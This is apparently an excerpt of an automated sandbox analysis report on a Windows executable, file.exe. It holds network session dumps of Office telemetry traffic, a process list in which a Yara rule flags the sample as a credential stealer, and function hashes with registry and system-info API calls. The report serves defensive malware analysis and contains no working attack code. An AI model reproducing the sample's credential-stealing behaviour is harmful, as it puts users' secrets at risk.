2024-11-24 07:44:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.10	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:39 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074440Z-174c587ffdfn4nhwhC1TEB2nbc000000049g0000000025tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.10	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:39 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 3038b393-701e-0053-5e79-3d3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074440Z-174c587ffdfcb7qhhC1TEB3x70000000044g00000000fcam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.10	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074440Z-178bfbc474bpnd5vhC1NYC4vr400000005sg000000000nu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.10	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:42 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8a891ebe-b01e-0070-2f4c-3d1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074442Z-15b8b599d889fz52hC1TEB59as000000044g0000000069c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.10	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:42 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c87fa586-301e-0052-7045-3c65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074442Z-174c587ffdfmlsmvhC1TEBvyks0000000490000000009a7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.10	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:42 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:42 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: f92b14d5-201e-003c-1815-3d30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074442Z-178bfbc474b9fdhphC1NYCac0n00000005pg000000001xng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:42 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	1
Start time:	02:43:36
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe00000
File size:	1'905'152 bytes
MD5 hash:	0C49D97124388F05574EA1D5FAE91A69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1471938676.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:44:14
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:44:15
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=1924,i,5708739163240515119,9735538660646773485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:44:19
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:44:19
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2008,i,13480779338358767381,12639924099947820658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 061B3056 Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: true

Associated: 00000001.00000002.1736843105.0000000006010000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736867179.0000000006012000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736896286.0000000006016000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.000000000601A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062B4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725ef748538ce89463d3f10cb0c31b6c9abbd1cbb0f1900aeb13b9318e1e9c8d
Instruction ID: 6d08cc0c38c2f7f808156933b11ad0cfad751f4701ce64f6672143f33f1d18c0
Opcode Fuzzy Hash: 725ef748538ce89463d3f10cb0c31b6c9abbd1cbb0f1900aeb13b9318e1e9c8d
Instruction Fuzzy Hash: 12C012B11D2FC1DACE629B248E0538ABB10EB42A39F1442ADA06116891C33C1014CA41

Function 061ABFB6 Relevance: 4.6, APIs: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 061ABFF3
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 061AC01A
GetNativeSystemInfo.KERNEL32(?), ref: 061AC071

Memory Dump Source

Source File: 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: true

Associated: 00000001.00000002.1736843105.0000000006010000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736867179.0000000006012000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736896286.0000000006016000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.000000000601A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062B4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6010000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 316829acce28e318c854b09fc91e4aa878aadfe509fb1dab0a61e58c4dd4551c
Instruction ID: aac4c4a1e2d7ab0736aedef1f4f04282487709e219782031b778cbaa6c21a12b
Opcode Fuzzy Hash: 316829acce28e318c854b09fc91e4aa878aadfe509fb1dab0a61e58c4dd4551c
Instruction Fuzzy Hash: C73155B941424EDFEF25DF50C548AEE3AB8FF05311F41052AE981C6842EB768CA4CF99

Non-executed Functions

Function 00B74B97 Relevance: 1.7, Instructions: 1739COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B6E000, based on PE: false

Associated: 00000001.00000003.1498321661.0000000000B6E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e56492de6270c8a88bbe9d5d90592c5ca7a412a358bbddad909fbac686cc46
Instruction ID: 9bf48a6f850bfe4af8ea0bb94a20cde4597fecd31e645d4b3677740eaf625598
Opcode Fuzzy Hash: c2e56492de6270c8a88bbe9d5d90592c5ca7a412a358bbddad909fbac686cc46
Instruction Fuzzy Hash: EA92425600EBC55FD7238B305C756A57FB1AE23250B5E82DBC0D8DF6A3D2889A49C363

Function 00B72A53 Relevance: .7, Instructions: 731COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ec544463774e3644d19273782b055acc572859616dfedcd601f6ad49549b1fd
Instruction ID: d6702cbbfa56fca04c7985b8a97acb1a646c3288185f87c7a59082549ace5232
Opcode Fuzzy Hash: 1ec544463774e3644d19273782b055acc572859616dfedcd601f6ad49549b1fd
Instruction Fuzzy Hash: 5432CCA240E7C58FD7138B788CA57C57FB1AF23214B0E86CBC4D48F2A3D2195A59D326

Function 00B72A53 Relevance: .7, Instructions: 729COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B6E000, based on PE: false

Associated: 00000001.00000003.1498321661.0000000000B6E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb57992dc19dbb3530725d20f07267834b10933033e68a414df62f2c2c6a5cf
Instruction ID: b1ffda6bdb0044ebaaa6bdb2ebddbeb2fa51ed1b8b99285a080ea785d9696404
Opcode Fuzzy Hash: 9cb57992dc19dbb3530725d20f07267834b10933033e68a414df62f2c2c6a5cf
Instruction Fuzzy Hash: 7532CCA640E7C58FD7138B788CA57C57FB1AF23214B0E86CBC4D48F2A3D2195A59D326

Function 00B72EF5 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B6E000, based on PE: false

Associated: 00000001.00000003.1498321661.0000000000B6E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f97bb2ad385e75e11fe7e54f17578b648c7e3451b3551fe36d4a0516e44a00e3
Instruction ID: 820876f6ac633f78c2cbd183851f152635e889cee45a047a45a96a7c4efd3d33
Opcode Fuzzy Hash: f97bb2ad385e75e11fe7e54f17578b648c7e3451b3551fe36d4a0516e44a00e3
Instruction Fuzzy Hash: D651FE3400E2D18FCB17CF38CAA5AA6BFE6BF03710B1D86C9D4D58E163C2656A01D766

Function 00B72EF5 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87037cd184277e0d5e61811e38506ad2d04381615c8433131c482aeac4945941
Instruction ID: 603f1d53f48991df7431eb24f4c48eb3d125196afc498ff08f9d2b59d671f570
Opcode Fuzzy Hash: 87037cd184277e0d5e61811e38506ad2d04381615c8433131c482aeac4945941
Instruction Fuzzy Hash: 0D51FF3400A2D18FCB17CF38CAA5A96BFF6BF03710B1D86C9D8D58E163C2656A41D756

Function 00B72F10 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B6E000, based on PE: false

Associated: 00000001.00000003.1498321661.0000000000B6E000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_b6e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7f98310140e64b0808de43992e0d7fa26a40624bc1df75691281360af6be6ec
Instruction ID: f5da747999fd4d5495b53cb9ba6aeba9ee5de82e142b13157f16bd70b68b11e5
Opcode Fuzzy Hash: a7f98310140e64b0808de43992e0d7fa26a40624bc1df75691281360af6be6ec
Instruction Fuzzy Hash: D751203400A2D19FCB17CF38DAA5AA7BFE6BF03710B1D86C9D8D54D163C2656A00D766

Function 061B7626 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: true

Associated: 00000001.00000002.1736843105.0000000006010000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736867179.0000000006012000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736896286.0000000006016000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.000000000601A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062B4000.00000040.00000800.00020000.00000000.sdmpDownload File
